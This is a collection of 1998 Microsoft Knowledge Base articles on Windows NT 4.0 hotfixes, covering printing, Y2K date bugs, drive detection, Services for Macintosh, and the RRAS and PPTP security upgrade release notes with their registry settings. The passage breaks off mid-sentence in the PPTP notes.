Additional query words: 4.00 ntstop
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q181022
TITLE   :Err: Cannot Write to LPTx Printing to Parallel Port
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfix4.00 kbprint ntprint
--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

When you print to a parallel port on a computer running Windows NT, one of
the following may occur:

 - After you clear a paper outage or jam on the printer and click OK on the
   following error message, the same error may reappear until Windows NT is
   shutdown and restarted:

      Cannot write to LPTx

   where x is the LPT port number

 - On host-based printers, the printer does not reset properly if you
   shutdown and restart Windows NT without first actually powering off the
   computer.

 - When you print with an older parallel port printer, the output has
   invalid, garbled, or missing characters or nothing prints.

CAUSE
=====

The first two symptoms above are caused by the local port monitor resetting
faster than the port can become ready. The printer driver then interprets
that the printer is properly reset, which is not the case.

The third symptom is caused because the centronics handshake in
Parallel.sys is too aggressive for some older types of devices.

RESOLUTION
==========

To resolve this problem, contact Microsoft Technical Support to obtain the
following fix, or wait for the next Windows NT service pack.

This fix should have the following time stamp:

   03/24/98  01:22p                14,864 Parallel.sys  (Intel)
   03/24/98  01:24p                23,280 Parallel.sys  (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/prnt-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

Additional query words: 4.00 lpt1 lpt2
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q183123
TITLE   :Find Files Displays Garbled Date if Year is 2000 or Greater
PRODUCT :Microsoft Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS
KEYWORD :kbbug4.00 kbfix4.00 kb2000
--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

When you use the Windows NT Find Files or Folders feature, the two digit
abbreviation of the year does not appear correctly. For example, if the
year is set to 2001, when you click the Date Modified tab on the Find: All
Files dialog box, the two digit abbreviation of the year appears as :1,
rather than 01.

CAUSE
=====

This problem occurs when the system date is set to 2000 or greater in the
Date/Time utility in Control Panel.

RESOLUTION
==========

To resolve this problem, obtain the following fix or wait for the next
Windows NT service pack.

This fix should have the following time stamp:

   03/18/98  03:55p             1,277,712 Shell32.dll (Intel)
   03/18/98  03:57p             1,866,000 Shell32.dll (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
   hotfixes-postSP3/y2k-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

For more information on what is fixed in Y2K-fix, please see the following
articles in the Microsoft Knowledge Base:

   ARTICLE-ID: Q175093
   TITLE     : User Manager Does Not Recognize February 2000 As a Leap Year

   ARTICLE-ID: Q180122
   TITLE     : After Changing the Time, Windows NT May Skip a Day

   ARTICLE-ID: Q183125
   TITLE     : Shell Doc Property Dialog Custom Date Incorrect After Year 2000

Additional query words: 4.00 Windows NT Explorer y2k year 2000

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q183125
TITLE   :Shell Doc Property Dialog Custom Date Incorrect After Year 2000
PRODUCT :Microsoft Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS
KEYWORD :kbbug4.00 kbfix4.00 kb2000
--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

When you use the document properties viewer to define a custom property
to include a date type in a file, the year may not be saved correctly.
For example, if you select a Microsoft Project data file (*.mpp) in a
folder window, chose Properties on the Explorer window File menu, click
the Custom tab click Date in the Type field, enter a value of 01/01/01,
and then click Add, the date appears as 01/01/1901 rather than 01/01/2001.

RESOLUTION
==========

To resolve this problem, obtain the following fix or wait for the next
Windows NT service pack.

This fix should have the following time stamp:

   03/23/98  03:25p                57,104 Docprop.dll (Intel)
   03/23/98  03:26p                83,216 Docprop.dll (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
   hotfixes-postSP3/y2k-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

For more information on what is fixed in Y2K-fix, please see the following
articles in the Microsoft Knowledge Base:

   ARTICLE-ID: Q175093
   TITLE     : User Manager Does Not Recognize February 2000 As a Leap Year

   ARTICLE-ID: Q180122
   TITLE     : After Changing the Time, Windows NT May Skip a Day

   ARTICLE-ID: Q183123
   TITLE     : Find Files Displays Garbled Date if Year is 2000 or Greater

Additional query words: 4.00 y2k year 2000 word excel powerpoint project
access 98

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q183654
TITLE   :IBM DTTA-351010 10.1 GB Drive Capacity Is Inaccurate
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfix4.00 kbfile kbbug kbfix

---------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
---------------------------------------------------------------------

SYMPTOMS
========

Windows NT may incorrectly report the size of the 10.1-gigabytes (GB)
capacity IBM DTTA-351010 fixed disk drive to be 7,550 megabytes (7.5 GB)
even though the System BIOS supports INT 13 extensions and can see the full
capacity of the drive.

RESOLUTION
==========

To resolve this problem, obtain the following fix by contacting Microsoft
Technical Support or wait for the next Windows NT service pack.

This fix should have the following time stamp:

   01/26/98  03:16p                26,448 Atapi.sys (Intel)
   01/26/98  03:12p                60,336 Atapi.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/atapi-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next service pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

The third-party products discussed here are manufactured by vendors
independent of Microsoft; we make no warranty, implied or otherwise,
regarding these products' performance or reliability.

Additional query words: 4.00 hard drive driver

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q185722
TITLE   :SFM Rebuilds Indexes upon Restarting of Windows NT
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfix4.00 kbfile
---------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
---------------------------------------------------------------------

SYMPTOMS
========

Services for Macintosh (SFM) on a Windows NT Server computer has had the
ability to rebuild indexes upon startup of the server but if the server
fails to shut down properly, the SFM indexes may not get written and old
directory information may not get updated.

CAUSE
=====

When Windows NT is shut down normally, Services for Macintosh will write
all the volume indexes to the computer hard disk. If the Windows NT Server
computer is shut down improperly, SFM may not have the opportunity to
properly write an index.

RESOLUTION
==========

SFM will now rebuild all indexes upon restart if the server is unable to
close SFM down properly. Installing the latest Hotfix will give SFM the
ability to handle such cases.

To resolve this problem, contact Microsoft Technical Support to obtain the
following fix, or wait for the next Windows NT service pack.

This fix should have the following time stamp:

   02/03/98  02:10p               130,352 Sfmsrv.sys (Intel)
   02/03/98  03:07p               234,064 Sfmsrv.sys (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/sfm-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

The event message below will be logged for each volume upon restart with
the new binaries in cases where SFM failed to shut down properly.

   Event ID: 12035
   Description: Volume information for <volume name> could not be loaded.
   Setting defaults.

For more information, please see the following articles in the Microsoft
Knowledge Base:

   ARTICLE-ID: Q166571
   TITLE     : Creating an SFM Volume on Large Partition Causes a Stop 0x24

   ARTICLE-ID: Q170956
   TITLE     : SFM Time and Date Stamp Change Copying Between Volumes
               Locally

   ARTICLE-ID: Q172511
   TITLE     : Stop 0x0000000A w/ Services for Macintosh & McAfee Anti-
               Virus

   ARTICLE-ID: Q177644
   TITLE     : Commenting Macintosh File Changes Date and Time Stamp

   ARTICLE-ID: Q178364
   TITLE     : Macintosh Clients See Files on WinNT Server Constantly
               Moving

   ARTICLE-ID: Q180622
   TITLE     : STOP:0x0000001E with STATUS_INSUFFICIENT_RESOURCES in
               Sfmsrv.sys

   ARTICLE-ID: Q180716
   TITLE     : SFM Fails to Accept Associations with Two-Character
               Extensions

   ARTICLE-ID: Q180717
   TITLE     : SFM: File Date and Time Stamp Change with Get Info

   ARTICLE-ID: Q180718
   TITLE     : SFM: Disconnect Macintosh Clients before Dismounting Volume

Additional query words: 4.00 afp afp_idindex
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q189594
TITLE   :RRAS Upgrade for WinNT Server 4.0 Hotfix Pack 3.0 Release Notes
PRODUCT :Microsoft Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS
KEYWORD :kbfix4.00 kbfile
----------------------------------------------------------------------
The information in this article applies to:

 - Routing and Remote Access Service Update for Windows NT Server
   version 4.0
 - Microsoft Windows NT Server version 4.0
----------------------------------------------------------------------

SUMMARY
=======

This article contains a copy of the Routing and Remote Access Upgrade for
Microsoft Windows NT 4.0 Server Hotfix Pack 3.0 Release Notes. Routing
and Remote Access Upgrade for Microsoft Windows NT 4.0 Server Hotfix Pack
3.0 is available at:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
   hotfixes-postSP3/rras30-fix/

NOTE: The above link is one path; it has been wrapped for readability.

MORE INFORMATION
================

   Routing and Remote Access Upgrade 3.0 for Microsoft Windows NT(r) 4.0
                          Server Release Notes

Please use this document to address questions which may arise during the
installation of this Routing and Remote Access Upgrade 3.0 for Microsoft
Windows NT 4.0 Server.

---------------------------------------------------------------------
Contents

 - Information on Installation
 - Security Features in this Upgrade
 - Fixes and Features included from Hotfix Update 2.0
 - Known Problems in the 2.0 Hotfix Update
 - Fixes and Features included from Hotfix Update 1.0
---------------------------------------------------------------------

Information on Installation
===========================

This Upgrade requires that you already have Routing and Remote Access
Service for Windows NT 4.0 Server installed on your system. Note that you
must first apply the Windows NT 4.0 PPTP Upgrade before applying the
ROUTING AND REMOTE ACCESS SERVICE upgrade 3.0 (it is important not to
reboot your machine in-between installations of the NT PPTP upgrade & the
Routing and Remote Access Service upgrade). For more information, please
see the following article in the Microsoft Knowledge Base:

   ARTICLE-ID: Q189595
   TITLE     : PPTP Performance & Security Upgrade for WinNT 4.0 Release
               Notes

This release includes the features and fixes from both the Routing and
Remote Access Hotfix Update 1.0 and 2.0 releases and is packaged in an
auto-install format. Copy the Upgrade to a temporary directory, and
double-click the executable name or type the executable name "rrasfixi.exe"
for x86, or "rrasfixa.exe" for alpha at a command prompt to install.

The files can also be extracted from the Upgrade pack without installing
them. To do this, copy the Upgrade to a temporary directory, and type
"rrasfixi /x" or "rrasfixa /x" at a command prompt (without the quotation
marks). After extracting the files, the Upgrade can be installed by typing
"hotfix" at a command prompt (without the quotation marks).

To uninstall this upgrade, extract the files to a directory using the "/x"
command as mentioned above and then type "HOTFIX -Y" (without quotation
marks) from the same directory you copied the files to.

Output of "HOTFIX -?":

HOTFIX [-y] [-f] [-n] [-z] [-q] [-m] [-l]
      -y Perform uninstall (only with -m or -q)
      -f Force apps closed at shutdown
      -n Do not create uninstall directory
      -z Do not reboot when update completes
      -q Quiet Mode -- no user interface
      -m Unattended mode
      -l List installed hotfixes

Security Features in this Upgrade
=================================

This upgrade provides several RAS/PPTP security enhancements for the
Routing and Remote Access Upgrade for Microsoft Windows NT 4.0 Server. This
upgrade also includes the performance improvements and other fixes that
were included in previously released hotfixes.

 - A new version of MSCHAP (MSCHAP V2) has been implemented for VPN
   connections. This new protocol provides mutual authentication, stronger
   initial data encryption keys, and different encryption keys for the
   transmit and receive paths. To minimize the risk of password compromise
   during MSCHAP exchanges, MSCHAP V2 drops support for the MSCHAP password
   change V1, and will not transmit the LMHash encoding of the password.

   For VPN connection requests, a Windows NT server will offer MSCHAP V2
   before offering the legacy MSCHAP. Updated Windows clients (all
   platforms) will accept MSCHAP V2 when it is offered. This behavior
   affects only VPN connections; dial-up connections are not affected.

 - A new registry key, SecureVPN, has been defined to force use of MSCHAP
   V2. When this variable is absent it has a default value of zero. When
   set to one on a Windows NT server, this registry key causes the server
   to drop any VPN connections that do not authenticate using MSCHAP V2.
   This will prevent legacy VPN clients from presenting their credentials
   in an MSCHAP (or CHAP or PAP) exchange, and is a likely configuration
   for networks that require a more secure authentication method for VPN
   connections.

      HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\RasMan\PPP

      DWORD: SecureVPN
      Value: 0x00000001 == force MSCHAP V2 for VPN connections
      Value: 0x00000000 == do not force secure MSCHAP V2 (default)

   When set to one on a Windows NT 4.0 client, the SecureVPN registry key
   forces the client to use MSCHAP V2 for all VPN (PPTP) connections.
   Dial-up connections are not affected by this registry setting.

      Please note: Most users will not need to use the Secure VPN flag.
      This flag should be used with care because it will affect the
      behavior of all VPN connections from a client. In general, the
      required use of MSCHAP V2 can be enforced more easily on the server.

 - This release also provides a registry variable, UseLmPassword, which can
   be set to prevent clients from sending the LM response to a legacy
   MSCHAP challenge or in an MSCHAP change password exchange. When this
   variable is absent it has a default value of one, allowing use of the LM
   response (in order to maintain compatibility with legacy systems).

      HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\RasMan\PPP\Chap

      DWORD: UseLmPassword
      Value: 0x00000001 == send LMHash of the password (default)
      Value: 0x00000000 == do not send LMHash of the password

   Setting this variable to zero on a server will cause the server to drop
   any connection request which uses the LM response in an MSCHAP exchange.
   Setting this variable to zero on a client will prevent the client from
   using LM responses in MSCHAP exchanges. This variable affects BOTH
   dial-up and VPN connections.

      Please note: Most users will not need to use this registry variable.
      The new secure mode MSCHAP V2 will not send the LMHash response, so
      this registry value is most useful when connecting to older access
      servers which use the original MSCHAP.

 - Other fixes in this upgrade:

   Two-way authentication with Demand-Dial Interfaces has been corrected in
   this upgrade.

Fixes and Features included from Hotfix Update 2.0
==================================================

NT Issues Performance Issues:

 - This release includes an enhancement to TCP/IP that will improve the
   performance of TCP-based applications over high latency and networks
   that experience high packet loss, such as the Internet.

Routing Issues:

 - Added new Demand dial filters. You can now keep demand dial interfaces
   from dialing by setting filters using the Routemon.exe command with a
   new "Filtertype= Dial" option. The new syntax for this is the same for
   setting Input and Output filters using Routemon.exe, and can be seen by
   typing "routemon ip set filter /?" at a command prompt.

   The following is an example of the syntax used to prevent a demand dial
   interface from dialing:

      C:\>routemon ip add filter myremoterouter dial 0.0.0.0 0.0.0.0
      0.0.0.0 0.0.0.0 any

      C:\>routemon ip set filter myremoterouter dial forward

   NOTE: The first example above is one line; it has been wrapped for
   readability.

   For more information on using the Routemon.exe command to set filters,
   please see the Routing and Remote Access Administrator's Guide.

 - Added the capability to filter fragmented IP packets. Two registry keys
   control this functionality.

      HKEY_LOCAL_MACHINE\System\CurrentControlSet\IPFilterDriver\Parameters

      DWORD: EnableFragmentChecking
      Value: 0x00000001 == enables fragment checks
      Value: 0x00000000 == disables fragment checks (default)

      DWORD: DefaultForwardFragments
      Value: 0x00000001 == filterdriver forwards fragments (default)
      Value: 0x00000000 == filterdriver drops fragments if they don't match
                           a previous header

 - Changes were made to the Router's Radius client to resolve a duplicate
   Acct-Session-Id accounting problem, as well as an issue that caused the
   reversal of the Framed-IP-Address returned from a Radius server. In
   addition, the RADIUS client has been enhanced to now support the
   transmission of the NAS-Port-Type and Acct-Session-Time attributes.

 - Resolved issue that used to cause an Access Violation notice when adding
   a Virtual Interface right after configuring an Area under OSPF routing.

 - Adjusted the RIP Authentication type to 2 instead of 1, per RFC 1388.

      Note: This upgrade must be applied to all Routing and Remote Access
            routers if you are using RIP2 authentication.

 - Resolved issue which could cause Mprouter to stop responding when doing
   an "ipconfig /release"

 - Made an improvement that ensures that periodic RIP route updates will
   resume each time a demand-dial interface is reactivated.

Known Problems in the 2.0 Hotfix Update
=======================================

 - Although there is a checkbox in the Global IP Config dialog to
   enable/disable filtering, at this time the only functionality it has is
   to visually show you if any filters have been configured on your
   interface(s). Regardless, the filter driver is always enabled. In order
   to disable filtering on an interface, you must use the per interface
   option in the Interface IP Config dialog.

 - Even though the "Filtertype= Dial" option has been properly configured
   for a demand dial interface using Routemon.exe, it might still be
   possible for that interface to dial. This will only occur if you are
   pinging from the command line of the Routing and RAS server in which the
   demand dial interface is configured.

Fixes and Features included from Hotfix Update 1.0
==================================================

New Features Added in Hotfix 1.0:

 - Allowing PPP clients to connect without authentication

   This can be accomplished by altering the default registry key as shown:

      HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Rasman\PPP

      DWORD: ForceEncryptedPassword
      Value: 0x00000003 == allows the server to accept incoming PPP clients
                           without authentication.

 - Using MS-CHAP with Radius authentication

   In order to enable MS-CHAP with RADIUS authentication, you must add a
   registry value

      HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Rasman\PPP\CHAP

      DWORD: OfferMSCHAP
      Value: 0x00000001 == Once this is enabled every incoming PPP
                           connection will be offered MS-CHAP, and MS-CHAP
                           will be used to authenticate each PPP user
                           against the Radius server that your RAS server
                           is using.

List of Issues Fixed in Hotfix Update 1.0:

All bug fixes contained in hotfix 1.0 are listed below. You can query the
Microsoft Knowledge Base (KB) to find an article about a specific bug by
using the KB Qxxxxxx number that is assigned to the bug. The Microsoft
Knowledge Base can be found on the Microsoft Web site at
http://support.microsoft.com/support.

   KB#      Brief Description
   =======  =============================================================
   Q172290  Routing and Remote Access "Out of Buffers" Event Logs
   Q176689  RRAS Requires hotfix when Using Proxy 2.0
   Q173533  WinNT Radius Client Sends Incomplete Accounting Information
   Q176506  Radius Accounting Only Logs One Entry for Multilink Client
   Q173532  Radius Authentication Causes Access Violation in Mprouter.exe
   Q172512  Routing and Remote Access Event ID 20100
   Q176502  RAS Authentication Rechallenge Resets Compression Flag
   Q176209  RAS or RRAS Server Fails to Answer Incoming Calls
   Q167038  RAS Clients Run Winsock and RPC Applications Slowly
   Q171061  RIP Does Not Advertise Zero Subnets
   Q160517  RRAS May Decrement Local Static Route Metric
   Q176082  RRAS Server Updates Link State Database but not Route Table
   Q162834  RRAS Stops Routing After Encountering Zero Checksum
   Q104296  RRAS Uses Larger MTU Than Other OSPF Routers

Information in this document is subject to change without notice and is
provided for informational purposes only. The entire risk of the use or
results of the use of this document remains with the user, and Microsoft
Corporation makes no warranties, either express or implied. The names of
companies, products, people, characters, and/or data mentioned herein are
fictitious and are in no way intended to represent any real individual,
company, product, or event, unless otherwise noted. Complying with all
applicable copyright laws is the responsibility of the user. No part of
this document may be reproduced or transmitted in any form or by any means,
electronic or mechanical, for any purpose, without the express written
permission of Microsoft Corporation.

Microsoft may have patents, patent applications, trademarks, copyrights, or
other intellectual property rights covering subject matter in this
document. Except as expressly provided in any written license agreement
from Microsoft, the furnishing of this document does not give you any
license to these patents, trademarks, copyrights, or other intellectual
property.

(c) 1998 Microsoft Corporation. All rights reserved.

Microsoft, MS-DOS, MS, Windows, Windows NT, are either registered
trademarks or trademarks of Microsoft Corporation in the U.S.A. and/or
other countries.

Other product and company names mentioned herein may be the trademarks of
their respective owners.

Additional query words: 4.00 R&RAS RRAS steel head steelhead ntrouter
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q189595
TITLE   :PPTP Performance & Security Upgrade for WinNT 4.0 Release Notes
PRODUCT :Microsoft Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS
KEYWORD :kbfix4.00 kbfile
---------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Workstation version 4.0
---------------------------------------------------------------------

SUMMARY
=======

This article contains a copy of the Point to Point Tunneling Protocol
(PPTP) Performance Update for Microsoft Windows NT Server and
Workstation version 4.0 Release Notes. The Point to Point Tunneling
Protocol (PPTP) Performance Update is available at:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
   hotfixes-postSP3/pptp3-fix/

NOTE: The above link is one path; it has been wrapped for readability.

US and Canadian customers can download the 128-bit version of this hotfix
from the following web page:

   http://mssecure.www.conxion.com/cgi-bin/ntitar.pl

MORE INFORMATION
================

  Point to Point Tunneling Protocol (PPTP) Performance & Security Upgrade
     for Microsoft Windows NT 4.0 Server and Workstation Release Notes

Please use this document to address questions that may arise during the
installation of this PPTP Performance & Security Upgrade for Microsoft
Windows NT 4.0 Server and Workstation.

---------------------------------------------------------------------
Contents

 - Information on Installation
 - Security Features in this Upgrade
 - Fixes and Features included from the 2.0 Hotfix
---------------------------------------------------------------------

Information on Installation
===========================

Microsoft has made improvements to the native Virtual Private Networking
(VPN) capabilities of Windows client and server that significantly improve
the performance and security PPTP-based VPN connections via the Internet
for Windows NT Server and Windows NT Workstation version 4.0.

This upgrade should be applied to both Windows NT Servers and Windows NT
Workstations version 4.0. Service Pack 3 for Windows NT 4.0 must also be
installed before applying this update.

   Please note: Windows NT Servers running Routing and Remote Access
   Service (RRAS) must first apply this Windows NT PPTP performance upgrade
   followed by the RRAS Hotfix 3.0 to benefit from the upgrade (it is
   important not to reboot your machine in-between installations of the NT
   PPTP upgrade & the Routing and Remote Access Service upgrade).

For more information, please see the following article in the Microsoft
Knowledge Base:

   ARTICLE-ID: Q189594
   TITLE     : RRAS Upgrade for WinNT Server 4.0 Hotfix Pack 3.0 Release
               Notes

This upgrade is packaged in an auto-install format. It is recommended that
